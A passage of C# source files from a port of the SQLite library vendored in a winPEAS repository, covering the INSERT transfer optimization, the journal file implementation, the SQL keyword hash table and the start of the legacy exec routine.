GROUP BY, ** or LIMIT clause. ** ** (6) The SELECT statement is a simple (not a compound) select that ** contains only tab2 in its FROM clause ** ** This method for implementing the INSERT transfers raw records from ** tab2 over to tab1. The columns are not decoded. Raw records from ** the indices of tab2 are transfered to tab1 as well. In so doing, ** the resulting tab1 has much less fragmentation. ** ** This routine returns TRUE if the optimization is attempted. If any ** of the conditions above fail so that the optimization should not ** be attempted, then this routine returns FALSE. */ static int xferOptimization( Parse pParse, /* Parser context */ Table pDest, /* The table we are inserting into */ Select pSelect, /* A SELECT statement to use as the data source */ int onError, /* How to handle constraint errors */ int iDbDest /* The database of pDest */ ) { ExprList pEList; /* The result set of the SELECT */ Table pSrc; /* The table in the FROM clause of SELECT */ Index pSrcIdx, pDestIdx; /* Source and destination indices */ SrcList_item pItem; /* An element of pSelect.pSrc */ int i; /* Loop counter */ int iDbSrc; /* The database of pSrc */ int iSrc, iDest; /* Cursors from source and destination */ int addr1, addr2; /* Loop addresses */ int emptyDestTest; /* Address of test for empty pDest */ int emptySrcTest; /* Address of test for empty pSrc */ Vdbe v; /* The VDBE we are building */ KeyInfo pKey; /* Key information for an index */ int regAutoinc; /* Memory register used by AUTOINC */ bool destHasUniqueIdx = false; /* True if pDest has a UNIQUE index */ int regData, regRowid; /* Registers holding data and rowid */ if ( pSelect == null ) { return 0; /* Must be of the form INSERT INTO ... SELECT ... */ } #if !SQLITE_OMIT_TRIGGER if ( sqlite3TriggerList( pParse, pDest ) != null ) { return 0; /* tab1 must not have triggers */ } #endif if ( ( pDest.tabFlags & TF_Virtual ) != 0 ) { return 0; /* tab1 must not be a virtual table */ } if ( onError == OE_Default ) { onError = OE_Abort; } if ( onError != OE_Abort && onError != OE_Rollback ) { return 0; /* Cannot do OR REPLACE or OR IGNORE or OR FAIL */ } Debug.Assert( pSelect.pSrc != null ); /* allocated even if there is no FROM clause */ if ( pSelect.pSrc.nSrc != 1 ) { return 0; /* FROM clause must have exactly one term */ } if ( pSelect.pSrc.a[0].pSelect != null ) { return 0; /* FROM clause cannot contain a subquery */ } if ( pSelect.pWhere != null ) { return 0; /* SELECT may not have a WHERE clause */ } if ( pSelect.pOrderBy != null ) { return 0; /* SELECT may not have an ORDER BY clause */ } /* Do not need to test for a HAVING clause. If HAVING is present but ** there is no ORDER BY, we will get an error. */ if ( pSelect.pGroupBy != null ) { return 0; /* SELECT may not have a GROUP BY clause */ } if ( pSelect.pLimit != null ) { return 0; /* SELECT may not have a LIMIT clause */ } Debug.Assert( pSelect.pOffset == null ); /* Must be so if pLimit==0 */ if ( pSelect.pPrior != null ) { return 0; /* SELECT may not be a compound query */ } if ( ( pSelect.selFlags & SF_Distinct ) != 0 ) { return 0; /* SELECT may not be DISTINCT */ } pEList = pSelect.pEList; Debug.Assert( pEList != null ); if ( pEList.nExpr != 1 ) { return 0; /* The result set must have exactly one column */ } Debug.Assert( pEList.a[0].pExpr != null ); if ( pEList.a[0].pExpr.op != TK_ALL ) { return 0; /* The result set must be the special operator "*" */ } /* At this point we have established that the statement is of the ** correct syntactic form to participate in this optimization. Now ** we have to check the semantics. */ pItem = pSelect.pSrc.a[0]; pSrc = sqlite3LocateTable( pParse, 0, pItem.zName, pItem.zDatabase ); if ( pSrc == null ) { return 0; /* FROM clause does not contain a real table */ } if ( pSrc == pDest ) { return 0; /* tab1 and tab2 may not be the same table */ } if ( ( pSrc.tabFlags & TF_Virtual ) != 0 ) { return 0; /* tab2 must not be a virtual table */ } if ( pSrc.pSelect != null ) { return 0; /* tab2 may not be a view */ } if ( pDest.nCol != pSrc.nCol ) { return 0; /* Number of columns must be the same in tab1 and tab2 */ } if ( pDest.iPKey != pSrc.iPKey ) { return 0; /* Both tables must have the same INTEGER PRIMARY KEY */ } for ( i = 0 ; i < pDest.nCol ; i++ ) { if ( pDest.aCol[i].affinity != pSrc.aCol[i].affinity ) { return 0; /* Affinity must be the same on all columns */ } if ( !xferCompatibleCollation( pDest.aCol[i].zColl, pSrc.aCol[i].zColl ) ) { return 0; /* Collating sequence must be the same on all columns */ } if ( pDest.aCol[i].notNull != 0 && pSrc.aCol[i].notNull == 0 ) { return 0; /* tab2 must be NOT NULL if tab1 is */ } } for ( pDestIdx = pDest.pIndex ; pDestIdx != null ; pDestIdx = pDestIdx.pNext ) { if ( pDestIdx.onError != OE_None ) { destHasUniqueIdx = true; } for ( pSrcIdx = pSrc.pIndex ; pSrcIdx != null ; pSrcIdx = pSrcIdx.pNext ) { if ( xferCompatibleIndex( pDestIdx, pSrcIdx ) ) break; } if ( pSrcIdx == null ) { return 0; /* pDestIdx has no corresponding index in pSrc */ } } #if !SQLITE_OMIT_CHECK if ( pDest.pCheck != null && !sqlite3ExprCompare( pSrc.pCheck, pDest.pCheck ) ) { return 0; /* Tables have different CHECK constraints. Ticket #2252 */ } #endif /* If we get this far, it means either: ** ** * We can always do the transfer if the table contains an ** an integer primary key ** ** * We can conditionally do the transfer if the destination ** table is empty. */ #if SQLITE_TEST sqlite3_xferopt_count.iValue++; #endif iDbSrc = sqlite3SchemaToIndex( pParse.db, pSrc.pSchema ); v = sqlite3GetVdbe( pParse ); sqlite3CodeVerifySchema( pParse, iDbSrc ); iSrc = pParse.nTab++; iDest = pParse.nTab++; regAutoinc = autoIncBegin( pParse, iDbDest, pDest ); sqlite3OpenTable( pParse, iDest, iDbDest, pDest, OP_OpenWrite ); if ( ( pDest.iPKey < 0 && pDest.pIndex != null ) || destHasUniqueIdx ) { /* If tables do not have an INTEGER PRIMARY KEY and there ** are indices to be copied and the destination is not empty, ** we have to disallow the transfer optimization because the ** the rowids might change which will mess up indexing. ** ** Or if the destination has a UNIQUE index and is not empty, ** we also disallow the transfer optimization because we cannot ** insure that all entries in the union of DEST and SRC will be ** unique. */ addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iDest, 0 ); emptyDestTest = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 ); sqlite3VdbeJumpHere( v, addr1 ); } else { emptyDestTest = 0; } sqlite3OpenTable( pParse, iSrc, iDbSrc, pSrc, OP_OpenRead ); emptySrcTest = sqlite3VdbeAddOp2( v, OP_Rewind, iSrc, 0 ); regData = sqlite3GetTempReg( pParse ); regRowid = sqlite3GetTempReg( pParse ); if ( pDest.iPKey >= 0 ) { addr1 = sqlite3VdbeAddOp2( v, OP_Rowid, iSrc, regRowid ); addr2 = sqlite3VdbeAddOp3( v, OP_NotExists, iDest, 0, regRowid ); sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, onError, 0, "PRIMARY KEY must be unique", P4_STATIC ); sqlite3VdbeJumpHere( v, addr2 ); autoIncStep( pParse, regAutoinc, regRowid ); } else if ( pDest.pIndex == null ) { addr1 = sqlite3VdbeAddOp2( v, OP_NewRowid, iDest, regRowid ); } else { addr1 = sqlite3VdbeAddOp2( v, OP_Rowid, iSrc, regRowid ); Debug.Assert( ( pDest.tabFlags & TF_Autoincrement ) == 0 ); } sqlite3VdbeAddOp2( v, OP_RowData, iSrc, regData ); sqlite3VdbeAddOp3( v, OP_Insert, iDest, regData, regRowid ); sqlite3VdbeChangeP5( v, OPFLAG_NCHANGE | OPFLAG_LASTROWID | OPFLAG_APPEND ); sqlite3VdbeChangeP4( v, -1, pDest.zName, 0 ); sqlite3VdbeAddOp2( v, OP_Next, iSrc, addr1 ); for ( pDestIdx = pDest.pIndex ; pDestIdx != null ; pDestIdx = pDestIdx.pNext ) { for ( pSrcIdx = pSrc.pIndex ; pSrcIdx != null ; pSrcIdx = pSrcIdx.pNext ) { if ( xferCompatibleIndex( pDestIdx, pSrcIdx ) ) break; } Debug.Assert( pSrcIdx != null ); sqlite3VdbeAddOp2( v, OP_Close, iSrc, 0 ); sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 ); pKey = sqlite3IndexKeyinfo( pParse, pSrcIdx ); sqlite3VdbeAddOp4( v, OP_OpenRead, iSrc, pSrcIdx.tnum, iDbSrc, pKey, P4_KEYINFO_HANDOFF ); #if SQLITE_DEBUG VdbeComment( v, "%s", pSrcIdx.zName ); #endif pKey = sqlite3IndexKeyinfo( pParse, pDestIdx ); sqlite3VdbeAddOp4( v, OP_OpenWrite, iDest, pDestIdx.tnum, iDbDest, pKey, P4_KEYINFO_HANDOFF ); #if SQLITE_DEBUG VdbeComment( v, "%s", pDestIdx.zName ); #endif addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iSrc, 0 ); sqlite3VdbeAddOp2( v, OP_RowKey, iSrc, regData ); sqlite3VdbeAddOp3( v, OP_IdxInsert, iDest, regData, 1 ); sqlite3VdbeAddOp2( v, OP_Next, iSrc, addr1 + 1 ); sqlite3VdbeJumpHere( v, addr1 ); } sqlite3VdbeJumpHere( v, emptySrcTest ); sqlite3ReleaseTempReg( pParse, regRowid ); sqlite3ReleaseTempReg( pParse, regData ); sqlite3VdbeAddOp2( v, OP_Close, iSrc, 0 ); sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 ); if ( emptyDestTest != 0 ) { sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_OK, 0 ); sqlite3VdbeJumpHere( v, emptyDestTest ); sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 ); return 0; } else { return 1; } } #endif // * SQLITE_OMIT_XFER_OPT */ /* Make sure "isView" gets undefined in case this file becomes part of ** the amalgamation - so that subsequent files do not see isView as a ** macro. */ //#undef isView } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/journal_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2007 August 22 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** @(#) $Id: journal.c,v 1.9 2009/01/20 17:06:27 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ #if SQLITE_ENABLE_ATOMIC_WRITE /* ** This file implements a special kind of sqlite3_file object used ** by SQLite to create journal files if the atomic-write optimization ** is enabled. ** ** The distinctive characteristic of this sqlite3_file is that the ** actual on disk file is created lazily. When the file is created, ** the caller specifies a buffer size for an in-memory buffer to ** be used to service read() and write() requests. The actual file ** on disk is not created or populated until either: ** ** 1) The in-memory representation grows too large for the allocated ** buffer, or ** 2) The sqlite3JournalCreate() function is called. */ //#include "sqliteInt.h" /* ** A JournalFile object is a subclass of sqlite3_file used by ** as an open file handle for journal files. */ struct JournalFile { sqlite3_io_methods pMethod; /* I/O methods on journal files */ int nBuf; /* Size of zBuf[] in bytes */ char *zBuf; /* Space to buffer journal writes */ int iSize; /* Amount of zBuf[] currently used */ int flags; /* xOpen flags */ sqlite3_vfs pVfs; /* The "real" underlying VFS */ sqlite3_file pReal; /* The "real" underlying file descriptor */ const char *zJournal; /* Name of the journal file */ }; typedef struct JournalFile JournalFile; /* ** If it does not already exists, create and populate the on-disk file ** for JournalFile p. */ static int createFile(JournalFile p){ int rc = SQLITE_OK; if( null==p.pReal ){ sqlite3_file pReal = (sqlite3_file *)&p[1]; rc = sqlite3OsOpen(p.pVfs, p.zJournal, pReal, p.flags, 0); if( rc==SQLITE_OK ){ p.pReal = pReal; if( p.iSize>0 ){ Debug.Assert(p.iSize<=p.nBuf); rc = sqlite3OsWrite(p.pReal, p.zBuf, p.iSize, 0); } } } return rc; } /* ** Close the file. */ static int jrnlClose(sqlite3_file pJfd){ JournalFile p = (JournalFile *)pJfd; if( p.pReal ){ sqlite3OsClose(p.pReal); } //sqlite3DbFree(db,p.zBuf); return SQLITE_OK; } /* ** Read data from the file. */ static int jrnlRead( sqlite3_file *pJfd, /* The journal file from which to read */ void *zBuf, /* Put the results here */ int iAmt, /* Number of bytes to read */ sqlite_int64 iOfst /* Begin reading at this offset */ ){ int rc = SQLITE_OK; JournalFile *p = (JournalFile *)pJfd; if( p->pReal ){ rc = sqlite3OsRead(p->pReal, zBuf, iAmt, iOfst); }else if( (iAmt+iOfst)>p->iSize ){ rc = SQLITE_IOERR_SHORT_READ; }else{ memcpy(zBuf, &p->zBuf[iOfst], iAmt); } return rc; } /* ** Write data to the file. */ static int jrnlWrite( sqlite3_file pJfd, /* The journal file into which to write */ const void *zBuf, /* Take data to be written from here */ int iAmt, /* Number of bytes to write */ sqlite_int64 iOfst /* Begin writing at this offset into the file */ ){ int rc = SQLITE_OK; JournalFile p = (JournalFile *)pJfd; if( null==p.pReal && (iOfst+iAmt)>p.nBuf ){ rc = createFile(p); } if( rc==SQLITE_OK ){ if( p.pReal ){ rc = sqlite3OsWrite(p.pReal, zBuf, iAmt, iOfst); }else{ memcpy(p.zBuf[iOfst], zBuf, iAmt); if( p.iSize<(iOfst+iAmt) ){ p.iSize = (iOfst+iAmt); } } } return rc; } /* ** Truncate the file. */ static int jrnlTruncate(sqlite3_file pJfd, sqlite_int64 size){ int rc = SQLITE_OK; JournalFile p = (JournalFile *)pJfd; if( p.pReal ){ rc = sqlite3OsTruncate(p.pReal, size); }else if( size0 ){ p.zBuf = sqlite3MallocZero(nBuf); if( null==p.zBuf ){ return SQLITE_NOMEM; } }else{ return sqlite3OsOpen(pVfs, zName, pJfd, flags, 0); } p.pMethod = &JournalFileMethods; p.nBuf = nBuf; p.flags = flags; p.zJournal = zName; p.pVfs = pVfs; return SQLITE_OK; } /* ** If the argument p points to a JournalFile structure, and the underlying ** file has not yet been created, create it now. */ int sqlite3JournalCreate(sqlite3_file p){ if( p.pMethods!=&JournalFileMethods ){ return SQLITE_OK; } return createFile((JournalFile *)p); } /* ** Return the number of bytes required to store a JournalFile that uses vfs ** pVfs to create the underlying on-disk files. */ int sqlite3JournalSize(sqlite3_vfs pVfs){ return (pVfs->szOsFile+sizeof(JournalFile)); } #endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/keywordhash_h.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /***** This file contains automatically generated code ****** ** ** The code in this file has been automatically generated by ** ** $Header$ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* ** ** The code in this file implements a function that determines whether ** or not a given identifier is really an SQL keyword. The same thing ** might be implemented more directly using a hand-written hash table. ** But by using this automatically generated code, the size of the code ** is substantially reduced. This is important for embedded applications ** on platforms with limited memory. */ /* Hash score: 171 */ static int keywordCode( string z, int iOffset, int n ) { /* zText[] encodes 801 bytes of keywords in 541 bytes */ /* REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECT */ /* ABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVE */ /* XISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARY */ /* UNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKE */ /* CASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOIN */ /* SERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAME */ /* AFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSS */ /* CURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIF */ /* ISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEW */ /* INITIALLY */ string zText = new string( new char[540] { 'R','E','I','N','D','E','X','E','D','E','S','C','A','P','E','A','C','H', 'E','C','K','E','Y','B','E','F','O','R','E','I','G','N','O','R','E','G', 'E','X','P','L','A','I','N','S','T','E','A','D','D','A','T','A','B','A', 'S','E','L','E','C','T','A','B','L','E','F','T','H','E','N','D','E','F', 'E','R','R','A','B','L','E','L','S','E','X','C','E','P','T','R','A','N', 'S','A','C','T','I','O','N','A','T','U','R','A','L','T','E','R','A','I', 'S','E','X','C','L','U','S','I','V','E','X','I','S','T','S','A','V','E', 'P','O','I','N','T','E','R','S','E','C','T','R','I','G','G','E','R','E', 'F','E','R','E','N','C','E','S','C','O','N','S','T','R','A','I','N','T', 'O','F','F','S','E','T','E','M','P','O','R','A','R','Y','U','N','I','Q', 'U','E','R','Y','A','T','T','A','C','H','A','V','I','N','G','R','O','U', 'P','D','A','T','E','B','E','G','I','N','N','E','R','E','L','E','A','S', 'E','B','E','T','W','E','E','N','O','T','N','U','L','L','I','K','E','C', 'A','S','C','A','D','E','L','E','T','E','C','A','S','E','C','O','L','L', 'A','T','E','C','R','E','A','T','E','C','U','R','R','E','N','T','_','D', 'A','T','E','D','E','T','A','C','H','I','M','M','E','D','I','A','T','E', 'J','O','I','N','S','E','R','T','M','A','T','C','H','P','L','A','N','A', 'L','Y','Z','E','P','R','A','G','M','A','B','O','R','T','V','A','L','U', 'E','S','V','I','R','T','U','A','L','I','M','I','T','W','H','E','N','W', 'H','E','R','E','N','A','M','E','A','F','T','E','R','E','P','L','A','C', 'E','A','N','D','E','F','A','U','L','T','A','U','T','O','I','N','C','R', 'E','M','E','N','T','C','A','S','T','C','O','L','U','M','N','C','O','M', 'M','I','T','C','O','N','F','L','I','C','T','C','R','O','S','S','C','U', 'R','R','E','N','T','_','T','I','M','E','S','T','A','M','P','R','I','M', 'A','R','Y','D','E','F','E','R','R','E','D','I','S','T','I','N','C','T', 'D','R','O','P','F','A','I','L','F','R','O','M','F','U','L','L','G','L', 'O','B','Y','I','F','I','S','N','U','L','L','O','R','D','E','R','E','S', 'T','R','I','C','T','O','U','T','E','R','I','G','H','T','R','O','L','L', 'B','A','C','K','R','O','W','U','N','I','O','N','U','S','I','N','G','V', 'A','C','U','U','M','V','I','E','W','I','N','I','T','I','A','L','L','Y', } ); byte[] aHash = { 70, 99, 112, 68, 0, 43, 0, 0, 76, 0, 71, 0, 0, 41, 12, 72, 15, 0, 111, 79, 49, 106, 0, 19, 0, 0, 116, 0, 114, 109, 0, 22, 87, 0, 9, 0, 0, 64, 65, 0, 63, 6, 0, 47, 84, 96, 0, 113, 95, 0, 0, 44, 0, 97, 24, 0, 17, 0, 117, 48, 23, 0, 5, 104, 25, 90, 0, 0, 119, 100, 55, 118, 52, 7, 50, 0, 85, 0, 94, 26, 0, 93, 0, 0, 0, 89, 86, 91, 82, 103, 14, 38, 102, 0, 75, 0, 18, 83, 105, 31, 0, 115, 74, 107, 57, 45, 78, 0, 0, 88, 39, 0, 110, 0, 35, 0, 0, 28, 0, 80, 53, 58, 0, 20, 56, 0, 51, }; byte[] aNext = { 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 21, 0, 0, 0, 42, 3, 46, 0, 0, 0, 0, 29, 0, 0, 37, 0, 0, 0, 1, 60, 0, 0, 61, 0, 40, 0, 0, 0, 0, 0, 0, 0, 59, 0, 0, 0, 0, 30, 54, 16, 33, 10, 0, 0, 0, 0, 0, 0, 0, 11, 66, 73, 0, 8, 0, 98, 92, 0, 101, 0, 81, 0, 69, 0, 0, 108, 27, 36, 67, 77, 0, 34, 62, 0, 0, }; byte[] aLen = { 7, 7, 5, 4, 6, 4, 5, 3, 6, 7, 3, 6, 6, 7, 7, 3, 8, 2, 6, 5, 4, 4, 3, 10, 4, 6, 11, 2, 7, 5, 5, 9, 6, 9, 9, 7, 10, 10, 4, 6, 2, 3, 4, 9, 2, 6, 5, 6, 6, 5, 6, 5, 5, 7, 7, 7, 3, 4, 4, 7, 3, 6, 4, 7, 6, 12, 6, 9, 4, 6, 5, 4, 7, 6, 5, 6, 7, 5, 4, 5, 6, 5, 7, 3, 7, 13, 2, 2, 4, 6, 6, 8, 5, 17, 12, 7, 8, 8, 2, 4, 4, 4, 4, 4, 2, 2, 6, 5, 8, 5, 5, 8, 3, 5, 5, 6, 4, 9, 3, }; int[] aOffset = { 0, 2, 2, 8, 9, 14, 16, 20, 23, 25, 25, 29, 33, 36, 41, 46, 48, 53, 54, 59, 62, 65, 67, 69, 78, 81, 86, 95, 96, 101, 105, 109, 117, 122, 128, 136, 142, 152, 159, 162, 162, 165, 167, 167, 171, 176, 179, 184, 189, 194, 197, 203, 206, 210, 217, 223, 223, 226, 229, 233, 234, 238, 244, 248, 255, 261, 273, 279, 288, 290, 296, 301, 303, 310, 315, 320, 326, 332, 337, 341, 344, 350, 354, 361, 363, 370, 372, 374, 383, 387, 393, 399, 407, 412, 412, 428, 435, 442, 443, 450, 454, 458, 462, 466, 469, 471, 473, 479, 483, 491, 495, 500, 508, 511, 516, 521, 527, 531, 536, }; byte[] aCode = { TK_REINDEX, TK_INDEXED, TK_INDEX, TK_DESC, TK_ESCAPE, TK_EACH, TK_CHECK, TK_KEY, TK_BEFORE, TK_FOREIGN, TK_FOR, TK_IGNORE, TK_LIKE_KW, TK_EXPLAIN, TK_INSTEAD, TK_ADD, TK_DATABASE, TK_AS, TK_SELECT, TK_TABLE, TK_JOIN_KW, TK_THEN, TK_END, TK_DEFERRABLE, TK_ELSE, TK_EXCEPT, TK_TRANSACTION,TK_ON, TK_JOIN_KW, TK_ALTER, TK_RAISE, TK_EXCLUSIVE, TK_EXISTS, TK_SAVEPOINT, TK_INTERSECT, TK_TRIGGER, TK_REFERENCES, TK_CONSTRAINT, TK_INTO, TK_OFFSET, TK_OF, TK_SET, TK_TEMP, TK_TEMP, TK_OR, TK_UNIQUE, TK_QUERY, TK_ATTACH, TK_HAVING, TK_GROUP, TK_UPDATE, TK_BEGIN, TK_JOIN_KW, TK_RELEASE, TK_BETWEEN, TK_NOTNULL, TK_NOT, TK_NULL, TK_LIKE_KW, TK_CASCADE, TK_ASC, TK_DELETE, TK_CASE, TK_COLLATE, TK_CREATE, TK_CTIME_KW, TK_DETACH, TK_IMMEDIATE, TK_JOIN, TK_INSERT, TK_MATCH, TK_PLAN, TK_ANALYZE, TK_PRAGMA, TK_ABORT, TK_VALUES, TK_VIRTUAL, TK_LIMIT, TK_WHEN, TK_WHERE, TK_RENAME, TK_AFTER, TK_REPLACE, TK_AND, TK_DEFAULT, TK_AUTOINCR, TK_TO, TK_IN, TK_CAST, TK_COLUMNKW, TK_COMMIT, TK_CONFLICT, TK_JOIN_KW, TK_CTIME_KW, TK_CTIME_KW, TK_PRIMARY, TK_DEFERRED, TK_DISTINCT, TK_IS, TK_DROP, TK_FAIL, TK_FROM, TK_JOIN_KW, TK_LIKE_KW, TK_BY, TK_IF, TK_ISNULL, TK_ORDER, TK_RESTRICT, TK_JOIN_KW, TK_JOIN_KW, TK_ROLLBACK, TK_ROW, TK_UNION, TK_USING, TK_VACUUM, TK_VIEW, TK_INITIALLY, TK_ALL, }; int h, i; if ( n < 2 ) return TK_ID; h = ( ( sqlite3UpperToLower[z[iOffset + 0]] ) * 4 ^//(charMap(z[iOffset+0]) * 4) ^ ( sqlite3UpperToLower[z[iOffset + n - 1]] * 3 ) ^ //(charMap(z[iOffset+n - 1]) * 3) ^ n ) % 127; for ( i = ( aHash[h] ) - 1 ; i >= 0 ; i = ( aNext[i] ) - 1 ) { if ( aLen[i] == n && 0 == sqlite3StrNICmp( zText.ToString(), aOffset[i], z.Substring( iOffset, n ), n ) ) { testcase( i == 0 ); /* REINDEX */ testcase( i == 1 ); /* INDEXED */ testcase( i == 2 ); /* INDEX */ testcase( i == 3 ); /* DESC */ testcase( i == 4 ); /* ESCAPE */ testcase( i == 5 ); /* EACH */ testcase( i == 6 ); /* CHECK */ testcase( i == 7 ); /* KEY */ testcase( i == 8 ); /* BEFORE */ testcase( i == 9 ); /* FOREIGN */ testcase( i == 10 ); /* FOR */ testcase( i == 11 ); /* IGNORE */ testcase( i == 12 ); /* REGEXP */ testcase( i == 13 ); /* EXPLAIN */ testcase( i == 14 ); /* INSTEAD */ testcase( i == 15 ); /* ADD */ testcase( i == 16 ); /* DATABASE */ testcase( i == 17 ); /* AS */ testcase( i == 18 ); /* SELECT */ testcase( i == 19 ); /* TABLE */ testcase( i == 20 ); /* LEFT */ testcase( i == 21 ); /* THEN */ testcase( i == 22 ); /* END */ testcase( i == 23 ); /* DEFERRABLE */ testcase( i == 24 ); /* ELSE */ testcase( i == 25 ); /* EXCEPT */ testcase( i == 26 ); /* TRANSACTION */ testcase( i == 27 ); /* ON */ testcase( i == 28 ); /* NATURAL */ testcase( i == 29 ); /* ALTER */ testcase( i == 30 ); /* RAISE */ testcase( i == 31 ); /* EXCLUSIVE */ testcase( i == 32 ); /* EXISTS */ testcase( i == 33 ); /* SAVEPOINT */ testcase( i == 34 ); /* INTERSECT */ testcase( i == 35 ); /* TRIGGER */ testcase( i == 36 ); /* REFERENCES */ testcase( i == 37 ); /* CONSTRAINT */ testcase( i == 38 ); /* INTO */ testcase( i == 39 ); /* OFFSET */ testcase( i == 40 ); /* OF */ testcase( i == 41 ); /* SET */ testcase( i == 42 ); /* TEMP */ testcase( i == 43 ); /* TEMPORARY */ testcase( i == 44 ); /* OR */ testcase( i == 45 ); /* UNIQUE */ testcase( i == 46 ); /* QUERY */ testcase( i == 47 ); /* ATTACH */ testcase( i == 48 ); /* HAVING */ testcase( i == 49 ); /* GROUP */ testcase( i == 50 ); /* UPDATE */ testcase( i == 51 ); /* BEGIN */ testcase( i == 52 ); /* INNER */ testcase( i == 53 ); /* RELEASE */ testcase( i == 54 ); /* BETWEEN */ testcase( i == 55 ); /* NOTNULL */ testcase( i == 56 ); /* NOT */ testcase( i == 57 ); /* NULL */ testcase( i == 58 ); /* LIKE */ testcase( i == 59 ); /* CASCADE */ testcase( i == 60 ); /* ASC */ testcase( i == 61 ); /* DELETE */ testcase( i == 62 ); /* CASE */ testcase( i == 63 ); /* COLLATE */ testcase( i == 64 ); /* CREATE */ testcase( i == 65 ); /* CURRENT_DATE */ testcase( i == 66 ); /* DETACH */ testcase( i == 67 ); /* IMMEDIATE */ testcase( i == 68 ); /* JOIN */ testcase( i == 69 ); /* INSERT */ testcase( i == 70 ); /* MATCH */ testcase( i == 71 ); /* PLAN */ testcase( i == 72 ); /* ANALYZE */ testcase( i == 73 ); /* PRAGMA */ testcase( i == 74 ); /* ABORT */ testcase( i == 75 ); /* VALUES */ testcase( i == 76 ); /* VIRTUAL */ testcase( i == 77 ); /* LIMIT */ testcase( i == 78 ); /* WHEN */ testcase( i == 79 ); /* WHERE */ testcase( i == 80 ); /* RENAME */ testcase( i == 81 ); /* AFTER */ testcase( i == 82 ); /* REPLACE */ testcase( i == 83 ); /* AND */ testcase( i == 84 ); /* DEFAULT */ testcase( i == 85 ); /* AUTOINCREMENT */ testcase( i == 86 ); /* TO */ testcase( i == 87 ); /* IN */ testcase( i == 88 ); /* CAST */ testcase( i == 89 ); /* COLUMN */ testcase( i == 90 ); /* COMMIT */ testcase( i == 91 ); /* CONFLICT */ testcase( i == 92 ); /* CROSS */ testcase( i == 93 ); /* CURRENT_TIMESTAMP */ testcase( i == 94 ); /* CURRENT_TIME */ testcase( i == 95 ); /* PRIMARY */ testcase( i == 96 ); /* DEFERRED */ testcase( i == 97 ); /* DISTINCT */ testcase( i == 98 ); /* IS */ testcase( i == 99 ); /* DROP */ testcase( i == 100 ); /* FAIL */ testcase( i == 101 ); /* FROM */ testcase( i == 102 ); /* FULL */ testcase( i == 103 ); /* GLOB */ testcase( i == 104 ); /* BY */ testcase( i == 105 ); /* IF */ testcase( i == 106 ); /* ISNULL */ testcase( i == 107 ); /* ORDER */ testcase( i == 108 ); /* RESTRICT */ testcase( i == 109 ); /* OUTER */ testcase( i == 110 ); /* RIGHT */ testcase( i == 111 ); /* ROLLBACK */ testcase( i == 112 ); /* ROW */ testcase( i == 113 ); /* UNION */ testcase( i == 114 ); /* USING */ testcase( i == 115 ); /* VACUUM */ testcase( i == 116 ); /* VIEW */ testcase( i == 117 ); /* INITIALLY */ testcase( i == 118 ); /* ALL */ return aCode[i]; } } return TK_ID; } static int sqlite3KeywordCode( string z, int n ) { return keywordCode( z, 0, n ); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/legacy_c.cs ================================================ using System.Diagnostics; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_callback = CSSQLite.dxCallback; using sqlite3_stmt = CSSQLite.Vdbe; public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** Main file for the SQLite library. The routines in this file ** implement the programmer interface to the library. Routines in ** other files are for internal use by SQLite and should not be ** accessed by users of the library. ** ** $Id: legacy.c,v 1.35 2009/08/07 16:56:00 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** Execute SQL code. Return one of the SQLITE_ success/failure ** codes. Also write an error message into memory obtained from ** malloc() and make pzErrMsg point to that message. ** ** If the SQL is a query, then for each row in the query result ** the xCallback() function is called. pArg becomes the first ** argument to xCallback(). If xCallback=NULL then no callback ** is invoked, even for queries. */ //OVERLOADS public static int sqlite3_exec( sqlite3 db, /* The database on which the SQL executes */ string zSql, /* The SQL to be executed */ int NoCallback, int NoArgs, int NoErrors ) { string Errors = ""; return sqlite3_exec( db, zSql, null, null, ref Errors ); } public static int sqlite3_exec( sqlite3 db, /* The database on which the SQL executes */ string zSql, /* The SQL 